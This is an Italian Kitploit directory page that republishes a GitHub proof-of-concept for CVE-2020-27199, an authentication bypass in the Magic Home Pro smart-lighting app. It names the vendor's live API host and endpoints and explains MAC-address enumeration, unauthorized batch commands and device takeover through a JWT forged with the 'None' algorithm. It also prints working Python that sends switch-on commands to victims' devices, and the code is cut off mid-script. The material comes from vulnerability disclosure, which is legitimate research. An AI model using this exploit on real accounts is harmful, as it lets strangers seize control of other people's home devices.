Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-27199 — CVE-2020-27199 | Kitploit
Strumenti/GitHubGitHub/9lyph/cve-2020-27199
RicognizioneSicurezza IoTExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingSicurezza MobileAutenticazioneSviluppo Payload
GitHub9lyph/cve-2020-27199

CVE-2020-27199

CVE-2020-27199

7121 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

CVE-2020-27199 (Magic Home Pro - Bypass dell'autenticazione)

magic-home-pro

Multiple vulnerabilità trovate nell'applicazione mobile Magic Home Pro utilizzata per interfacciarsi con il kit LED Strip RGB JadeHomic. La più significativa di queste vulnerabilità è un bypass dell'autenticazione (CVE-2020-27199), che consente in ultima analisi di prendere il controllo completo dell'intero gruppo di dispositivi di una vittima.

  • Di seguito sono descritti i passaggi di enumerazione che portano allo sfruttamento finale e al materiale PoC utilizzato per attuare l'enumerazione e l'exploit finale.

File PoC

magichome-forge.py - Forgiatore JWT, utilizzato per automatizzare l'acquisizione del dispositivo

magichome-sniffer.py - Sniffer di rete locale che cerca dispositivi suscettibili nella rete. Crea un elenco di dispositivi su cui eseguire attacchi.

magichome-switch.py - Consente di accendere i dispositivi

magichome-takeover.py - Payload che consente l'acquisizione riuscita dell'account di un utente

Lavoro preliminare alla scoperta

  • Android rooted
  • Rilevamento root bypassato tramite patching, ri-firma del JAR e ricostruzione dell'APK (necessario)
  • Bypass del certificate pinning Frida alla riscossa (necessario)

Applicazione

Magic Home Pro

Fornitore del prodotto

JadeHomic

Proprietario del controller WiFi

Suzhou SmartChip Semiconductor Co.,Ltd

Sito web del fornitore

JadeHomic

Riferimenti

Mitre

Exploit-db

SpiderLabs Blog

Base del codice del prodotto interessato

Magic Home Pro

Descrizione

URL di base: wifij01us.magichue.net

Enumerazione

Questa vulnerabilità consente a qualsiasi utente autenticato di utilizzare il proprio livello di autorizzazione corrente per interrogare endpoint non appartenenti ai propri prodotti registrati, tramite una chiamata API a /app/getBindedUserListByMacAddress/ZG001?macAddress=<indirizzo mac>. Ciò si traduce in una risposta HTTP che indica l'esistenza dell'endpoint e restituisce il nome utente, l'identificativo univoco dell'utente (userUniID) e l'ID univoco associato (bindedUniID) dell'endpoint associato.

Utilizzando l'interrogazione precedente, un attaccante può quindi sfruttare una richiesta POST non autorizzata all'API /app/sendCommandBatch/ZG001, utilizzando l'indirizzo mac appena enumerato per inviare comandi all'endpoint remoto usando comandi hex compatibili 71230fa3 e 71240fa4 che attivano rispettivamente l'accensione e lo spegnimento.

Forgiatura JWT basata sui dettagli raccolti sopra

Dopo aver completato l'enumerazione iniziale, è anche possibile forgiare un JWT utilizzando userID e uniID nei dati del payload JWT, di fatto declassando il token per utilizzare 'None' come algoritmo nella sezione header del JWT (vulnerabilità di bypass della firma). Sfruttando questa vulnerabilità, l'applicazione è suscettibile all'acquisizione del dispositivo da parte di un attaccante tramite una chiamata API remota a /app/shareDevice/ZG001 e utilizzando il parametro JSON friendUserID per aggiungere il dispositivo all'elenco dei dispositivi dell'attaccante, dando a quest'ultimo il controllo completo del dispositivo endpoint.

Crediti:

  • Medium
  • JWT_TOOL - ticarpi

Tipo di vulnerabilità

  • Bypass dell'autenticazione
  • Divulgazione di informazioni
  • Accesso non autorizzato
  • Escalation orizzontale dei privilegi

Informazioni aggiuntive

OUI

L'OUI descrive l'identificatore univoco dell'organizzazione per gli indirizzi MAC registrati presso un'organizzazione. Nel caso di JadeHomic, l'OUI magico è C8:2E:47, dove i primi tre byte corrispondono al produttore e i secondi tre byte corrispondono al numero di serie assegnato dal produttore. Nel nostro caso, l'identificatore del produttore è registrato presso Suzhou SmartChip Semiconductor Co., LTD.

Altro impatto CVE

Consente il bypass dell'autenticazione dell'applicazione mobile Magic Home Pro e quindi il controllo completo dell'intero gruppo di dispositivi di un utente vittima.

Vettori di attacco

  • Utente autenticato richiesto
  • Enumerazione riuscita del sistema finale esistente
  • Successivo invio di comandi batch a un endpoint remoto
  • Acquisizione del dispositivo
  • Bypass dell'autenticazione

Enumeratore PoC ed exploit del comando batch

Il proof of concept enumera sugli ultimi byte all'interno del range MAC e restituisce i risultati. Permette di testare l'esecuzione remota se ci si sente audaci.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re

'''

  1. First Stage Authentication
  2. Second Stage Enumerate
  3. Third Stage Remote Execute '''

global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token

def turnOn(target, token):

urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71230fa3","macAddress":target}
    ]
}
data = json.dumps(array)
headersOn = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def turnOff(target, token):

Scarica lo strumento